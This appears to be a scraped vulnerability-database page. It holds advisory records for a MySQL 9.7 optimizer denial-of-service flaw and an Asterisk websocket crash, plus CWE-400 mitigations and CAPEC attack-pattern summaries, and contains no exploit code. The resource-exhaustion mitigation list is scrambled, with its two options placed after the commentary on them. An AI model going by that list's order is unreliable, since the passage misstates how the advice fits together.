Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are MySQL Server: 9.7.0-9.7.1; MySQL Cluster: 9.7.0-9.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-60324"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:35Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are MySQL Server: 9.7.0-9.7.1; MySQL Cluster: 9.7.0-9.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-64hm-xqj2-52q2",
"modified": "2026-07-22T00:31:34Z",
"published": "2026-07-22T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60324"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-64M8-FX32-3864
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50
VLAI
Details
There is a stack consumption vulnerability in the res_http_websocket.so module of Asterisk through 13.23.0, 14.7.x through 14.7.7, and 15.x through 15.6.0 and Certified Asterisk through 13.21-cert2. It allows an attacker to crash Asterisk via a specially crafted HTTP request to upgrade the connection to a websocket.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-17281"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-24T22:29:00Z",
"severity": "HIGH"
},
"details": "There is a stack consumption vulnerability in the res_http_websocket.so module of Asterisk through 13.23.0, 14.7.x through 14.7.7, and 15.x through 15.6.0 and Certified Asterisk through 13.21-cert2. It allows an attacker to crash Asterisk via a specially crafted HTTP request to upgrade the connection to a websocket.",
"id": "GHSA-64m8-fx32-3864",
"modified": "2022-05-13T01:50:33Z",
"published": "2022-05-13T01:50:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17281"
},
{
"type": "WEB",
"url": "https://issues.asterisk.org/jira/browse/ASTERISK-28013"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00034.html"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2018/Sep/53"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201811-11"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4320"
},
{
"type": "WEB",
"url": "http://downloads.asterisk.org/pub/security/AST-2018-009.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/149453/Asterisk-Project-Security-Advisory-AST-2018-009.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Sep/31"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105389"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041694"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.